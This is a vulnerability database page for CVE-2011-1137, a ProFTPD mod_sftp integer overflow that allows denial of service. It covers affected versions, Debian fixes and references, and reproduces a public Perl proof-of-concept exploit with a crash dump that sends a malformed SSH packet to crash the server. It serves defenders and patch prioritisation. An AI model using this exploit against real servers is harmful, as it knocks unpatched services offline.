CVE-2011-1137
Description
Integer overflow in the mod_sftp (aka SFTP) module in ProFTPD 1.3.3d and earlier allows remote attackers to cause a denial of service (memory consumption leading to OOM kill) via a malformed SSH message.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or โ if you've already worked around this in production โ publish your fix to the community-verified tier.
โ Propose a mitigation on Community โ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
ProFTPd - 'mod_sftp' Integer Overflow Denial of Service (PoC)
#ProFTPD mod_sftp Integer Overflow
#by Kingcope
#reference: http://www.castaglia.org/proftpd/modules/mod_sftp.html
# Exploit Title: ProFTPD mod_sftp Integer Overflow
# Date: 7 February 2011
# Author: Kingcope
# Software Link: http://www.castaglia.org/proftpd/modules/mod_sftp.html
# Tested on: Centos 5.5
#Program received signal SIGSEGV, Segmentation fault.
#0x00391577 in memset () from /lib/libc.so.6
#(gdb) i r
#eax 0x0 0
#ecx 0x203fffef 541065199
#edx 0x1 1
#ebx 0x80ffffbd -2130706499
#esp 0xbfcfd088 0xbfcfd088
#ebp 0xbfcfd0a8 0xbfcfd0a8
#esi 0x0 0
#edi 0x0 0
#eip 0x391577 0x391577 <memset+55>
#eflags 0x210202 [ IF RF ID ]
#cs 0x73 115
#ss 0x7b 123
#ds 0x7b 123
#es 0x7b 123
#fs 0x0 0
#gs 0x33 51
#(gdb) x/10i $eip
#0x391577 <memset+55>: rep stos %eax,%es:(%edi)
#0x391579 <memset+57>: mov %edx,%ecx
#0x39157b <memset+59>: rep stos %al,%es:(%edi)
#0x39157d <memset+61>: mov 0x8(%esp),%eax
#0x391581 <memset+65>: pop %edi
#0x391582 <memset+66>: ret
#0x391583: nop
#0x391584: nop
#0x391585: nop
#0x391586: nop
use IO::Socket;
$|=1;
$pl = "\x53\x53\x48\x2D\x32\x2E\x30\x2D\x31\x2E\x32\x37\x20\x73\x73\x68\x6C\x69\x62\x3A\x20\x57\x69\x6E\x53\x53".
"\x48\x44\x20\x33\x2E\x30\x35\x0D\x0A\x80\xff\xff\xff" . "AAAAAAAAAA";
my $sock = IO::Socket::INET->new(PeerAddr => "192.168.2.5",
PeerPort => '21',
Proto => 'tcp');
read($sock, $xp, 10);
#$x = <stdin>;
print $sock $pl;
exit;
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 1.3.3d-4 |
| sid | Fixed | 1.3.3d-4 |
| forky | Fixed | 1.3.3d-4 |
| bullseye | Fixed | 1.3.3d-4 |
| bookworm | Fixed | 1.3.3d-4 |
Application impact
| Vendor | Product | Versions | Fixed |
|---|---|---|---|
| proftpd | proftpd | {"endIncluding":"1.3.3"} | |
| proftpd | proftpd | 1.2.0 | |
| proftpd | proftpd | 1.2.1 | |
| proftpd | proftpd | 1.2.2 | |
| proftpd | proftpd | 1.2.3 | |
| proftpd | proftpd | 1.2.4 | |
| proftpd | proftpd | 1.2.5 | |
| proftpd | proftpd | 1.2.6 | |
| proftpd | proftpd | 1.2.7 | |
| proftpd | proftpd | 1.2.8 | |
| proftpd | proftpd | 1.2.9 | |
| proftpd | proftpd | 1.2.10 | |
| proftpd | proftpd | 1.3.0 | |
| proftpd | proftpd | 1.3.1 | |
| proftpd | proftpd | 1.3.2 | |
| proftpd | proftpd | 1.3.3 | |
References
- http://bugs.proftpd.org/show_bug.cgi?id=3586
- http://bugs.proftpd.org/show_bug.cgi?id=3587
- http://lists.fedoraproject.org/pipermail/package-announce/2011-April/058344.html
- http://lists.fedoraproject.org/pipermail/package-announce/2011-April/058356.html
- http://proftp.cvs.sourceforge.net/viewvc/proftp/proftpd/contrib/mod_sftp/mod_sftp.c?r1=1.29.2.1&r2=1.29.2.2
- http://proftp.cvs.sourceforge.net/viewvc/proftp/proftpd/contrib/mod_sftp/packet.c?r1=1.14.2.2&r2=1.14.2.3
- http://proftp.cvs.sourceforge.net/viewvc/proftp/proftpd/contrib/mod_sftp/packet.h?r1=1.3&r2=1.3.2.1
- http://secunia.com/advisories/43234
- http://secunia.com/advisories/43635
- http://secunia.com/advisories/43978
- http://slackware.com/security/viewer.php?l=slackware-security&y=2011&m=slackware-security.485806
- http://www.debian.org/security/2011/dsa-2185
- http://www.exploit-db.com/exploits/16129/
- http://www.securityfocus.com/bid/46183
- http://www.vupen.com/english/advisories/2011/0617
- http://www.vupen.com/english/advisories/2011/0857
- https://bugzilla.redhat.com/show_bug.cgi?id=681718
- https://security-tracker.debian.org/tracker/CVE-2011-1137
CWEs
CWE-189
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.